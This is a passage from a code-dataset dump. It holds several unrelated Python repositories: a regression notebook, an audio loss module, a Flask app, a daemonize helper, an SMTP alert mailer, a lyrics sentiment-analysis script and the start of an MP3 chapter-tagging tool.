In[228]:\n\n\nprint(regressor.coef_)\n\n\n# In[229]:\n\n\ny_pred = regressor.predict(X_test)\n\n\n# In[230]:\n\n\nimport pandas as pd\ndf = pd.DataFrame([{'Actual': y_test, 'Predicted': y_pred}])\ndf\n\n\n# In[231]:\n\n\ndf.head()\n\n\n# In[232]:\n\n\nfrom sklearn import metrics\nprint('Mean Squared Error:', metrics.mean_squared_error(y_test, y_pred))\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"S-H-E-F-A/LineearRegression-analysis-on-Diabetes-dataset","sub_path":"LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"3909032735","text":"# Author: Or Tal.\nimport omegaconf\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch\n\nfrom .multi_res_stft_loss import MultiResolutionSTFTLoss\n\nEPS = 1e-10\nNEG_SIZE = 10\n\nclass SELoss(nn.Module):\n\n def __init__(self,loss_cfg: omegaconf.DictConfig, device='cpu'):\n super().__init__()\n device = device if torch.cuda.is_available() else 'cpu'\n self.m_stft_loss = MultiResolutionSTFTLoss(factor_sc=loss_cfg.stft_sc_factor, \n factor_mag=loss_cfg.stft_mag_factor).to(device)\n self.just_reconstruction = loss_cfg.just_reconstruction\n self.reconstruction_factor = loss_cfg.reconstruction_factor\n self.contrastive_factor = loss_cfg.contrastive_factor\n self.noise_regularization_factor = loss_cfg.noise_regularization_factor\n self.mse = nn.MSELoss(reduction='none')\n self.include_regularization = loss_cfg.include_regularization\n self.include_contrastive = loss_cfg.include_contrastive\n self.window_size = loss_cfg.window_size\n self.include_energy_loss = loss_cfg.include_energy_loss\n self.energy_factor = loss_cfg.energy_factor\n\n def f(self, a, b):\n return 1 + F.cosine_similarity(a, b, -1)\n \n def match_vad_to_windows(self, vad_mask, device):\n # print(f\"vad: {vad_mask.shape}\")\n num_windows = vad_mask.shape[-1] // self.window_size\n n = num_windows * self.window_size\n mask = vad_mask[..., :n].float()\n # print(f\"mask: {vad_mask.shape}\")\n mask_windows = [torch.sum(vad_mask[..., i:i+self.window_size], dim=-1) for i in range(0, n - self.window_size + 1, self.window_size)]\n # print(f\"mask_windows -> len: {len(mask_windows)}, inner: {mask_windows[0].shape}\")\n mask = torch.stack(mask_windows, dim=-1)\n # print(f\"concatenated mask: {mask.shape}\")\n mask = mask > (self.window_size/2)\n return mask.to(device)\n\n def get_divisors(self, w_c, w_n, denoms=None):\n # init list of negative dot products, each of shape: (B, T, Ft)\n # after the similarity function (f): (B, T)\n # note: denoms has a temporal size of T - 1 as it is the result of the denominator's dot products\n # print(f\"denoms: {'none' if denoms is None else denoms.shape}\")\n # print(f\"w_n: {w_n.shape}\")\n # print(f\"w_c: {w_n.shape}\")\n neg_dots = [denoms + EPS, torch.exp(self.f(w_c, w_n))[:, :-1]] if denoms is not None else [torch.exp(self.f(w_c, w_n))]\n for _ in range(NEG_SIZE - 1):\n perm = torch.randperm(w_n.shape[1])\n neg_dots.append(torch.exp(self.f(w_c, w_n[:, perm]))[:, :-1] if denoms is not None else torch.exp(self.f(w_c, w_n[:, perm])))\n \n # stack all denominators (calculated similarities permutations w.r.t w_c)\n neg_dots = torch.stack(neg_dots, dim=-1) # shape: (B, T, NEG_SIZE + 1 (or NEG_SIZE if denoms is None))\n\n # sum \n neg_dots = torch.sum(neg_dots, dim=-1)\n\n return 1 / neg_dots\n \n def energy_loss(self, y_hat, stretched_vad_mask):\n if y_hat.shape[-1] > stretched_vad_mask.shape[-1]:\n y_hat = y_hat[..., :stretched_vad_mask.shape[-1]]\n if stretched_vad_mask.shape[-1] > y_hat.shape[-1]:\n stretched_vad_mask = stretched_vad_mask[..., :y_hat.shape[-1]]\n return - torch.mean(torch.log(torch.sum(torch.log(1 + torch.sqrt(torch.masked_select(y_hat ** 2, stretched_vad_mask))), dim=-1)))\n\n # def contrastive_loss(self, w_c, w_n, vad_mask, device):\n # # permute for simplicity\n # w_c = w_c.permute((0, 2, 1)) # batch x T x Ft\n # w_n = w_n.permute((0, 2, 1)) # batch x T x Ft\n\n # # match vad to windows\n # shrinked_vad = self.match_vad_to_windows(vad_mask, device)\n\n\n def contrastive_loss(self, w_c, w_n, vad_mask, device):\n # permute for simplicity\n w_c = w_c.permute((0, 2, 1)) # batch x T x Ft\n w_n = w_n.permute((0, 2, 1)) # batch x T x Ft\n\n # match vad to windows\n shrinked_vad = self.match_vad_to_windows(vad_mask, device)\n\n shrinked_vad = shrinked_vad.to(float)\n # TODO: is + eps really necessary?\n # shrinked_vad = shrinked_vad + EPS\n\n # TODO: remove limitation of length to vad (n < 0) and uncomment line 34\n n = w_c.shape[1] - shrinked_vad.shape[-1]\n # n = max(w_c.shape[1] - vad_mask.shape[-1], 0)\n if n > 0:\n shrinked_vad = torch.cat([shrinked_vad, torch.zeros((vad_mask.shape[0], n), device=device)], dim=-1)\n elif n < 0:\n shrinked_vad = shrinked_vad[..., :w_c.shape[1]]\n # w_c = w_c * shrinked_vad.unsqueeze(2).expand_as(w_c)\n w_ci, w_cip1 = w_c[:, :-1, :], w_c[:, 1:, :]\n\n # calculate denominators\n denominators = torch.exp(self.f(w_ci, w_cip1)) * shrinked_vad[..., :-1] # shape: (B, T)\n\n # calculate divisor factors\n divisors = self.get_divisors(w_c, w_n, denoms=denominators) # shape: (B, T)\n\n N = torch.sum(shrinked_vad, dim=-1)\n if 0 in N:\n N = N + 1\n\n # calculate loss terms\n if divisors.shape != denominators.shape:\n divisors = divisors.unsqueeze(-1).expand_as(denominators)\n terms = torch.sum(- torch.log(denominators * divisors + EPS), dim=-1)\n terms = terms / N\n\n return torch.mean(terms)\n\n def stretch_vad_mask_over_input_length(self, vad_mask, noisy):\n factor = noisy.shape[-1] // vad_mask.shape[-1]\n vad_mask = vad_mask.unsqueeze(-1)\n vad_mask = vad_mask.expand(-1, -1, factor)\n return vad_mask.reshape(vad_mask.shape[0], -1)\n\n\n def validate_lengths(self, stretched_nad, z_hat, noisy):\n if z_hat.shape[-1] > stretched_nad.shape[-1]:\n z_hat = z_hat[..., :stretched_nad.shape[-1]]\n elif stretched_nad.shape[-1] > z_hat.shape[-1]:\n stretched_nad = stretched_nad[..., :z_hat.shape[-1]]\n if noisy.shape[-1] > stretched_nad.shape[-1]:\n noisy = noisy[..., :stretched_nad.shape[-1]]\n\n return stretched_nad, z_hat, noisy\n\n def regularization_loss(self, vad_mask, z_hat, noisy):\n\n # stretch vad_maps\n stretched_vad = self.stretch_vad_mask_over_input_length(vad_mask, noisy).unsqueeze(1)\n\n stretched_vad, z_hat, noisy = self.validate_lengths(stretched_vad, z_hat, noisy)\n\n stretched_vad = stretched_vad.bool()\n noises_from_z = torch.masked_select(z_hat, ~stretched_vad).flatten()\n noises_from_noisy = torch.masked_select(noisy, ~stretched_vad).flatten()\n if self.include_energy_loss: # return stretched vad as well\n return F.mse_loss(noises_from_z, noises_from_noisy), stretched_vad\n return F.mse_loss(noises_from_z, noises_from_noisy)\n\n def forward(self, outputs, noisy_sigs, vad_mask):\n l_c, l_n, y_hat, z_hat, w_c, w_n = outputs\n device = f\"{f'cuda' if w_c.is_cuda else 'cpu'}\"\n if noisy_sigs.shape[-1] > y_hat.shape[-1]:\n noisy_sigs = noisy_sigs[..., :y_hat.shape[-1]]\n elif noisy_sigs.shape[-1] < y_hat.shape[-1]:\n y_hat = y_hat[..., :noisy_sigs.shape[-1]]\n z_hat = z_hat[..., :noisy_sigs.shape[-1]]\n\n est_noisy = y_hat + z_hat\n fc, mag = self.m_stft_loss(est_noisy.squeeze(1), noisy_sigs.squeeze(1))\n reconstruction_loss = F.l1_loss(est_noisy, noisy_sigs).to(device) + fc + mag\n if self.just_reconstruction:\n return reconstruction_loss\n\n contrastive_loss = self.contrastive_loss(w_c, w_n, self.match_vad_to_windows(vad_mask, device), device) if self.include_contrastive else 0\n if self.include_energy_loss:\n if self.include_regularization:\n reg_loss, stretched_vad = self.regularization_loss(vad_mask, z_hat, noisy_sigs)\n else:\n reg_loss = 0\n stretched_vad = self.stretch_vad_mask_over_input_length(vad_mask, y_hat).unsqueeze(1)\n energy_loss = self.energy_loss(y_hat, stretched_vad)\n else:\n reg_loss = self.regularization_loss(vad_mask, z_hat, noisy_sigs) if self.include_regularization else 0\n energy_loss = 0\n \n \n\n return [self.reconstruction_factor * reconstruction_loss, 0, self.noise_regularization_factor * reg_loss, self.energy_factor * energy_loss]\n # return [self.reconstruction_factor * reconstruction_loss, self.contrastive_factor * contrastive_loss, self.noise_regularization_factor * reg_loss]\n\n\n\nclass SupSELoss(SELoss):\n\n def forward(self, outputs, noisy_sigs, clean_sigs, vad_mask):\n _, _, y_hat, z_hat, w_c, w_n = outputs\n device = f\"{f'cuda' if w_c.is_cuda else 'cpu'}\"\n y_hat, z_hat, w_c, w_n, noisy_sigs, clean_sigs, vad_mask = (y_hat.to(device), z_hat.to(device), w_c.to(device), w_n.to(device), \n noisy_sigs.to(device), clean_sigs.to(device), vad_mask.to(device))\n if noisy_sigs.shape[-1] > y_hat.shape[-1]:\n noisy_sigs = noisy_sigs[..., :y_hat.shape[-1]]\n clean_sigs = clean_sigs[..., :y_hat.shape[-1]]\n elif noisy_sigs.shape[-1] < y_hat.shape[-1]:\n y_hat = y_hat[..., :noisy_sigs.shape[-1]]\n z_hat = z_hat[..., :noisy_sigs.shape[-1]]\n\n est_noisy = y_hat + z_hat\n fc, mag = self.m_stft_loss(est_noisy.squeeze(1), noisy_sigs.squeeze(1))\n fc_c, mag_c = self.m_stft_loss(y_hat.squeeze(1), clean_sigs.squeeze(1))\n reconstruction_loss = F.l1_loss(est_noisy, noisy_sigs).to(device) + fc + mag + fc_c + mag_c\n if self.just_reconstruction:\n return reconstruction_loss\n\n contrastive_loss = self.contrastive_loss(w_c, w_n, self.match_vad_to_windows(vad_mask, device), device) if self.include_contrastive else 0\n reg_loss = self.regularization_loss(vad_mask, z_hat, noisy_sigs) if self.include_regularization else 0\n\n return [self.reconstruction_factor * reconstruction_loss, self.contrastive_factor * contrastive_loss, self.noise_regularization_factor * reg_loss]\n\n","repo_name":"Or-Tal/ssse","sub_path":"ssse/losses/se_loss.py","file_name":"se_loss.py","file_ext":"py","file_size_in_byte":10050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"73663136986","text":"from flask_api import FlaskAPI\n\nfrom debug import debug_app\nfrom deeprole import deeprole_app\n\nimport os\nimport markdown\n\nDIR = os.path.abspath(os.path.dirname(__file__))\n\napp = FlaskAPI(__name__)\n\napp.config['DEFAULT_RENDERERS'] = [\n 'flask_api.renderers.JSONRenderer',\n]\n\napp.register_blueprint(debug_app, url_prefix='/debug')\napp.register_blueprint(deeprole_app, url_prefix='/deeprole')\n\n@app.route('/')\ndef index():\n with open(os.path.join(DIR, 'README.md'), 'r') as f:\n html = markdown.markdown(f.read())\n\n return \"{}\".format(html)\n\nif __name__ == \"__main__\":\n import os\n os.environ['FLASK_ENV'] = 'development'\n app.run(debug=True)\n","repo_name":"Detry322/deeprole-proavalon","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"37939665996","text":"# encoding: utf-8\n\nfrom __future__ import absolute_import\n\nimport os\nimport sys\n\n__all__ = ['daemonize']\n\ndef __close_ttys():\n \"\"\"Helper function that closes all open descriptors for tty\"\"\"\n import resource\n maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]\n if maxfd == resource.RLIM_INFINITY:\n maxfd = 1024\n\n for fd in range(0, maxfd):\n try:\n os.ttyname(fd)\n except:\n continue\n\n try:\n os.close(fd)\n except:\n pass\n\n devnull = getattr(os, 'devnull', '/dev/null')\n os.open(devnull, os.O_RDWR)\n # Open returns lowest-available descriptor number\n # We have either /dev/null, or stdin\n os.dup2(0, 1)\n os.dup2(0, 2)\n\n\ndef daemonize():\n \"\"\"Converts running process into daemon\n\n It is using standard Unix technique with double-fork and therefore it can\n be only run on Posix systems. For other systems it silently returns.\n \"\"\"\n if os.name != 'posix':\n return\n\n if os.fork() != 0:\n sys.exit(0)\n\n os.setsid()\n\n if os.fork() != 0:\n sys.exit(0)\n\n __close_ttys()\n","repo_name":"codesprinters/twillmanager","sub_path":"twillmanager/osutil.py","file_name":"osutil.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"18104891724","text":"#!/usr/bin/env python \n# -*- coding:utf-8 -*-\n\n\"\"\"\n纯文本文件发送\n\"\"\"\nimport sys\nimport smtplib\nfrom email.header import Header\nfrom email.mime.text import MIMEText \nfrom abc import abstractmethod\n\nclass Mail(object):\n \"\"\"dohost, user_name, pwd, context, Subject, To, filename, file_path, port, nick_name, mail_adressring for Mail\"\"\"\n# def __init__(self, host, user_name, pwd, context, Subject, To, filename, file_path, port, nick_name, mail_adress):\n def __init__(self, host, user_name, pwd, context, Subject, To, port, nick_name, mail_adress):\n \"\"\"\n :param host: 邮件服务器地址\n :param user_name: 邮件登陆名\n :param pwd: 邮箱登陆密码\n :param context: 邮箱正文\n :param Subject: 邮箱主题\n :param To: 收件人\n :param From: 发件人\n \"\"\"\n self.host=host\n self.user_name=user_name\n self.pwd=pwd\n self.context=context\n self.Subject=Subject\n self.To=To\n# self.filename=filename\n# self.file_path=file_path\n self.port=port\n self.nick_name=nick_name\n self.mail_adress=mail_adress\n \n @abstractmethod\n def send(self,**kwargs):\n \"\"\"\n send mail to account \n :param file:\n :return:\n \"\"\"\n pass\n\nclass TextMail(Mail):\n \"\"\"\n 只有文本信息的邮件\n \"\"\"\n def __init__(self,**kwargs):\n super(TextMail,self).__init__(**kwargs)\n self.mail_type='TEXT'\n\n @abstractmethod\n def send(self):\n #print(\"send_start\")\n server=smtplib.SMTP(self.host,self.port)\n server.set_debuglevel(0)\n server.login(self.user_name,self.pwd)\n msg=MIMEText(self.context,'html','utf-8')\n msg['From']='{0}<{1}>'.format(self.nick_name,self.mail_adress,'utf-8')\n\n #主题要注意不能乱写,不然会被垃圾邮件\n msg['Subject']=Header(self.Subject,'utf-8').encode()\n msg['To']=','.join(self.To)\n try:\n server.sendmail(self.mail_adress,self.To,msg.as_string())\n print(\"mail has been successfully\")\n except smtplib.SMTPException as e:\n print('邮件发送失败')\n print(e)\n\ndef send_mail(fromstmp,fromuser,frompwd,content,subject,touser):\n host=fromstmp\n fromuser=fromuser\n pwd=frompwd\n scontent=content\n subject=subject\n touser=touser\n nick_name=\"运维监控\"\n b=TextMail(host=host,user_name=fromuser,pwd=pwd,context=content,Subject=subject,To=touser,port=25,nick_name=nick_name,mail_adress=fromuser)\n b.send()\n\nif __name__ == '__main__':\n \"\"\"\n 设置发送邮箱信息\n \"\"\"\n fromuser=\"xxx\"\n frompwd=\"xxxx\"\n fromstmp=\"smtp.qiye.163.com\"\n touser = [str(sys.argv[1])] #zabbix传过来的第一个参数\n subject = str(sys.argv[2]) #zabbix传过来的第二个参数\n content = str(sys.argv[3]) #zabbix传过来的第三个参数\n touser='xxx@126.com','xxx@126.com'\n send_mail(fromstmp,fromuser,frompwd,content,subject,touser)\n","repo_name":"PoorWretch/ShellScripts","sub_path":"centos6/send_mail.py","file_name":"send_mail.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"70517270428","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 2 20:02:08 2019\r\nPerform VADER and TextBlob sentiment analysis on lyric records from \r\nboth LyricsWiki and MetroLyrics web sites based on input files by \r\nperforming the following processing steps:\r\n1. Read in cleaned files specified by inputCSVs.txt command line \r\n parameter\r\n2. Initialize VADER Sentiment Analysis object and supplement default \r\n lexicon with those most popular lyric words (not present in the \r\n lexicon) generated in another application using the NLTK package \r\n FreqDist algorithm.\r\n3. Preprocess by ensuring all lyrics lowercase, stop words and \r\n punctuation removed, and perform lemmatization operation.\r\n4. Generate VADER and Textblob sentiment scores for each lyric record \r\n and store in a dictionary to count positive, negative songs by artist, \r\n year, genre, band or song popularity, plus strings ‘VADERSentiment’ and \r\n ‘BLOBSentiment’.\r\n5. Write dictionary contents to specified outputfilename command line \r\n parameter \r\n\r\n@author: Paul.Devine\r\n\"\"\"\r\n\r\n# Import needed libraries\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib as plt\r\nimport seaborn as sns\r\nfrom textblob import TextBlob, Word\r\nimport signal\r\nimport sys\r\nfrom nltk.corpus import stopwords\r\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\r\n\r\nnew_words = {\r\n 'dont':\t-0.02,\r\n 'nigga': -0.8,\r\n 'time':\t0.3,\r\n 'aint':\t-0.5,\r\n 'make':\t0.2,\r\n 'come':\t0.2,\r\n 'cause': 0.1,\r\n 'baby':\t0.6,\r\n 'never': -0.5,\r\n 'cant':\t-0.6,\r\n 'take':\t0.1,\r\n 'girl':\t0.4,\r\n 'life':\t0.3,\r\n 'feel':\t0.3,\r\n 'need':\t0.2,\r\n 'right': 0.3,\r\n 'away':\t0.2,\r\n 'give':\t0.2,\r\n 'think': 0.1,\r\n 'wont':\t-0.5,\r\n 'money': 0.1,\r\n 'gotta': 0.2,\r\n 'look':\t0.3,\r\n 'night': -0.2,\r\n 'world': 0.3,\r\n 'heart': 0.6,\r\n 'around': 0.2,\r\n 'chorus': 0.3,\r\n 'mind':\t0.3,\r\n 'little': -0.4,\r\n 'stop':\t-0.2,\r\n 'better': 0.5,\r\n 'always': 0.2,\r\n 'live':\t0.3,\r\n 'game':\t0.2,\r\n 'nothing': -0.3,\r\n 'face':\t0.3,\r\n 'hear':\t0.2,\r\n 'show':\t0.2,\r\n 'niggaz': -0.7,\r\n 'young': 0.4,\r\n 'high':\t0.4,\r\n 'heart': 0.6,\r\n}\r\n\r\nclass GracefulKiller:\r\n kill_now = False\r\n def __init__(self):\r\n signal.signal(signal.SIGINT, self.exit_gracefully)\r\n signal.signal(signal.SIGTERM, self.exit_gracefully)\r\n\r\n def exit_gracefully(self,signum, frame):\r\n print('You pressed Ctrl+C!')\r\n self.kill_now = True\r\n\r\n\r\ndef preprocess(df):\r\n ''' Perform text preprocessing tasks here '''\r\n\r\n # Make sure all lowercase and remove punctuations\r\n df['Lyrics'] = df['Lyrics'].apply(lambda x: \" \".join(x.lower() for x in x.split()))\r\n df['Lyrics'] = df['Lyrics'].str.replace('[^\\w\\s]','')\r\n\r\n # Remove stop words\r\n stop = stopwords.words('english')\r\n df['Lyrics'] = df['Lyrics'].apply(lambda x: \" \".join(x for x in x.split() if x not in stop))\r\n\r\n # Perform Lemmatization\r\n df['Lyrics'] = df['Lyrics'].apply(lambda x: \" \".join([Word(word).lemmatize() for word in x.split()]))\r\n return df\r\n\r\ndef Create_Dict_Total(df, inputkey):\r\n \r\n local_dict = {} # Count positive, negative by genre\r\n for row in df.iterrows():\r\n key = str(row[1][inputkey]) + ',' + str(row[1]['VADERSentiment'])\r\n if key in local_dict:\r\n local_dict[key] += 1\r\n else:\r\n local_dict[key] = 1\r\n key = str(row[1][inputkey]) + ',' + str(row[1]['BLOBSentiment'])\r\n if key in local_dict:\r\n local_dict[key] += 1\r\n else:\r\n local_dict[key] = 1\r\n \r\n return local_dict\r\n\r\ndef Create_Dict_Total_with_Genre(df, inputkey):\r\n ''' Same as Create_Dict_Total plus the genre added to the key ''' \r\n local_dict = {} # Count positive, negative by genre\r\n for row in df.iterrows():\r\n key = str(row[1][inputkey]) + ',' + str(row[1]['Genre']) + ',' + \\\r\n str(row[1]['VADERSentiment'])\r\n if key in local_dict:\r\n local_dict[key] += 1\r\n else:\r\n local_dict[key] = 1\r\n key = str(row[1][inputkey]) + ',' + str(row[1]['Genre']) + ',' + \\\r\n str(row[1]['BLOBSentiment'])\r\n if key in local_dict:\r\n local_dict[key] += 1\r\n else:\r\n local_dict[key] = 1\r\n \r\n return local_dict\r\n \r\ndef Create_Ratings_Dict_Total(df, inputkey):\r\n\r\n local_dict = {} # Count positive, negative by genre\r\n for row in df.iterrows():\r\n try:\r\n if float(row[1][inputkey]) >= 80.:\r\n key = '80,'\r\n elif float(row[1][inputkey]) >= 60.:\r\n key = '60,'\r\n elif float(row[1][inputkey]) >= 40.:\r\n key = '40,'\r\n elif float(row[1][inputkey]) >= 20.:\r\n key = '20,'\r\n else:\r\n key = '00,'\r\n Vkey = key + str(row[1]['VADERSentiment'])\r\n if Vkey in local_dict:\r\n local_dict[Vkey] += 1\r\n else:\r\n local_dict[Vkey] = 1\r\n Bkey = key + str(row[1]['BLOBSentiment'])\r\n if Bkey in local_dict:\r\n local_dict[Bkey] += 1\r\n else:\r\n local_dict[Bkey] = 1\r\n except: # if conversion dosen't work read next row\r\n continue\r\n return local_dict\r\n \r\ndef Write_To_CSV(total_dict, suffix, outputfilename):\r\n status = 0 # Write out to specified CSV file\r\n output_filename = outputfilename.replace(\".csv\", suffix + \".csv\", 1)\r\n with open(output_filename, 'w', newline='') as outfile:\r\n for key,value in total_dict.items():\r\n try:\r\n outfile.write(str(key) + ',' + str(value) + '\\n')\r\n except:\r\n status += 1\r\n continue\r\n\r\ndef Generate_Sentiment_Scores(df):\r\n\r\n emptyline = []\r\n for row in df['Lyrics']:\r\n vs = analyzer.polarity_scores(row)\r\n blob = TextBlob(row) \r\n vs['polarity'] = blob.polarity\r\n vs['subjectivity'] = blob.subjectivity\r\n \r\n if vs['pos'] - vs['neg'] > 0.05:\r\n vs['VADERSentiment'] = 'VADER_Positive'\r\n elif vs['pos'] - vs['neg'] <= -0.05:\r\n vs['VADERSentiment'] = 'VADER_Negative'\r\n else:\r\n vs['VADERSentiment'] = 'VADER_Neutral'\r\n \r\n emptyline.append(vs)\r\n if killer.kill_now == True:\r\n print(\"exit_state TRUE\")\r\n sys.exit()\r\n\r\n df_sentiments = pd.DataFrame(emptyline)\r\n # Merge sentiments back into lyrics dataframe\r\n df = pd.concat([df.reset_index(drop=True), df_sentiments], axis=1)\r\n # Convert scores into positive, negative sentimes using threshold 0.0 \r\n df['VADERSentiment'] = np.where(df['compound'] >= 0, 'VADER_Positive', 'VADER_Negative')\r\n \r\n # Convert scores into positive, negative sentimes using threshold 0.0 \r\n df['BLOBSentiment'] = np.where(df['polarity'] >= 0, 'BLOB_Positive', 'BLOB_Negative')\r\n\r\n return df\r\n\r\n\r\nif __name__ == '__main__':\r\n killer = GracefulKiller()\r\n print('Press Ctrl+C to exit')\r\n try:\r\n inputCSV_list = []\r\n output_filename = \"\"\r\n # open text file and read artist names, one per line\r\n if len(sys.argv) > 1:\r\n env = sys.argv\r\n input_filename = str(env[1])\r\n output_filename = str(env[2])\r\n # open text file and read artist names, one per line\r\n with open(input_filename, 'rt') as csvfileInput:\r\n inputCSV_list = csvfileInput.readlines()\r\n csvfileInput.close()\r\n else:\r\n print(\"\\nUsage: python Sentiment_Analysis.py \\n\")\r\n sys.exit()\r\n\r\n plt.style.use('fivethirtyeight')\r\n cp = sns.color_palette() \r\n df_total = pd.DataFrame()\r\n\r\n analyzer = SentimentIntensityAnalyzer() # Define globally so can update lexicon\r\n analyzer.lexicon.update(new_words)\r\n\r\n for inputCSV_file in inputCSV_list:\r\n inputCSV_file = inputCSV_file.strip()\r\n if len(inputCSV_file) == 0:\r\n continue\r\n print(\"Processing: \" + inputCSV_file)\r\n # Read in lyrics into a data frame \r\n df = pd.read_csv(inputCSV_file)\r\n df.info() # Review info\r\n \r\n df = preprocess(df)\r\n df_total = df_total.append(Generate_Sentiment_Scores(df), ignore_index=True)\r\n \r\n #total_dict = Create_Dict_Total(df_total, 'Year')\r\n #Write_To_CSV(total_dict, '_Year', output_filename)\r\n\r\n #total_dict = Create_Dict_Total(df_total, 'Genre')\r\n #Write_To_CSV(total_dict, '_Genre', output_filename)\r\n \r\n #total_dict = Create_Dict_Total_with_Genre(df_total, 'Artist')\r\n #Write_To_CSV(total_dict, '_Artist_plus_Genre', output_filename)\r\n\r\n total_dict = Create_Dict_Total_with_Genre(df_total, 'Year')\r\n Write_To_CSV(total_dict, '_Year_plus_Genre', output_filename)\r\n\r\n #total_dict = Create_Dict_Total(df_total, 'Artist')\r\n #Write_To_CSV(total_dict, '_Artist', output_filename)\r\n\r\n #total_dict = Create_Dict_Total(df_total, 'pyYear')\r\n #Write_To_CSV(total_dict, '_pyYear', output_filename)\r\n\r\n #total_dict = Create_Ratings_Dict_Total(df_total, 'Band Popularity')\r\n #Write_To_CSV(total_dict, '_BandPop', output_filename)\r\n\r\n #total_dict = Create_Ratings_Dict_Total(df_total, 'Song Popularity')\r\n #Write_To_CSV(total_dict, '_SongPop', output_filename)\r\n\r\n except KeyboardInterrupt:\r\n pass\r\n","repo_name":"rhosse/Team-Lyrical","sub_path":"Sentiment_Analysis.py","file_name":"Sentiment_Analysis.py","file_ext":"py","file_size_in_byte":9582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"34050897082","text":"#! /usr/local/bin/python\n\"\"\"Chapter Tagger\n\nA Python script designed to add chapter tags to an MP3 file, using time data\nspecified in a JSON file.\nWritten by William Leuschner.\"\"\"\n# import eyed3\nimport json\nimport argparse\nfrom mutagen.id3 import ID3, CTOC, CHAP, TIT2, CTOCFlags\nimport mutagen\nimport mutagen.mp3\n\nV4_FRAMES = {\"AENC\", \"APIC\", \"ASPI\", \"COMM\", \"COMR\", \"ENCR\", \"EQU2\", \"ETCO\", \"GEOB\", \"GRID\", \"LINK\", \"MCDI\", \"MLLT\", \"OWNE\", \"PRIV\", \"PCNT\", \"POPM\", \"POSS\", \"RBUF\", \"RVA2\", \"RVRB\", \"SEEK\", \"SIGN\", \"SYLT\", \"SYTC\", \"TALB\", \"TBPM\", \"TCOM\", \"TCON\", \"TCOP\", \"TDEN\", \"TDLY\", \"TDOR\", \"TDRC\", \"TDRL\", \"TDTG\", \"TENC\", \"TEXT\", \"TFLT\", \"TIPL\", \"TIT1\", \"TIT2\", \"TIT3\", \"TKEY\", \"TLAN\", \"TLEN\", \"TMCL\", \"TMED\", \"TMOO\", \"TOAL\", \"TOFN\", \"TOLY\", \"TOPE\", \"TOWN\", \"TPE1\", \"TPE2\", \"TPE3\", \"TPE4\", \"TPOS\", \"TPRO\", \"TPUB\", \"TRCK\", \"TRSN\", \"TRSO\", \"TSOA\", \"TSOP\", \"TSOT\", \"TSRC\", \"TSSE\", \"TSST\", \"TXXX\", \"UFID\", \"USER\", \"USLT\", \"WCOM\", \"WCOP\", \"WOAF\", \"WOAR\", \"WOAS\", \"WORS\", \"WPAY\", \"WPUB\", \"WXXX\",}\nV3_FRAMES = {\"AENC\", \"APIC\", \"COMM\", \"COMR\", \"ENCR\", \"EQUA\", \"ETCO\", \"GEOB\", \"GRID\", \"IPLS\", \"LINK\", \"MCDI\", \"MLLT\", \"OWNE\", \"PRIV\", \"PCNT\", \"POPM\", \"POSS\", \"RBUF\", \"RVAD\", \"RVRB\", \"SYLT\", \"SYTC\", \"TALB\", \"TBPM\", \"TCOM\", \"TCON\", \"TCOP\", \"TDAT\", \"TDLY\", \"TENC\", \"TEXT\", \"TFLT\", \"TIME\", \"TIT1\", \"TIT2\", \"TIT3\", \"TKEY\", \"TLAN\", \"TLEN\", \"TMED\", \"TOAL\", \"TOFN\", \"TOLY\", \"TOPE\", \"TORY\", \"TOWN\", \"TPE1\", \"TPE2\", \"TPE3\", \"TPE4\", \"TPOS\", \"TPUB\", \"TRCK\", \"TRDA\", \"TRSN\", \"TRSO\", \"TSIZ\", \"TSRC\", \"TSSE\", \"TYER\", \"TXXX\", \"UFID\", \"USER\", \"USLT\", \"WCOM\", \"WCOP\", \"WOAF\", \"WOAR\", \"WOAS\", \"WORS\", \"WPAY\", \"WPUB\", \"WXXX\"}\nV2_FRAMES = {\"BUF\", \"CNT\", \"COM\", \"CRA\", \"CRM\", \"ETC\", \"EQU\", \"GEO\", \"IPL\", \"LNK\", \"MCI\", \"MLL\", \"PIC\", \"POP\", \"REV\", \"RVA\", \"SLT\", \"STC\", \"TAL\", \"TBP\", \"TCM\", \"TCO\", \"TCR\", \"TDA\", \"TDY\", \"TEN\", \"TFT\", \"TIM\", \"TKE\", \"TLA\", \"TLE\", \"TMT\", \"TOA\", \"TOF\", \"TOL\", \"TOR\", \"TOT\", \"TP1\", \"TP2\", \"TP3\", \"TP4\", \"TPA\", \"TPB\", \"TRC\", \"TRD\", \"TRK\", \"TSI\", \"TSS\", \"TT1\", \"TT2\", \"TT3\", \"TXT\", \"TXX\", \"TYE\", \"UFI\", \"ULT\", \"WAF\", \"WAR\", \"WAS\", \"WCM\", \"WCP\", \"WPB\", \"WXX\"}\nID3_FRAMES = V2_FRAMES | V3_FRAMES | V4_FRAMES\n\n\nclass MP3File:\n \"\"\"An MP3 file.\"\"\"\n\n def __init__(self, pointer):\n self.tag = None\n self.fp = pointer\n self.length = None\n self.load_audio_file()\n\n def load_audio_file(self):\n \"\"\"Load the audio file at `pointer` into mutagen.\"\"\"\n try:\n print(\"Trying to load the default way...\")\n self.tag = ID3(self.fp)\n except mutagen.MutagenError:\n print(\"Exception encountered. Creating new tag...\")\n broken = mutagen.id3.ID3FileType(self.fp)\n broken.add_tags(ID3=mutagen.id3.ID3)\n self.tag = broken.ID3()\n\n try:\n self.length = mutagen.mp3.MP3(self.fp).info.length\n except:\n print(\"Unable to determine length of file. Aborting.\")\n raise\n\n def erase_private_frames(self):\n self.tag.delall(\"PRIV\")\n\n def 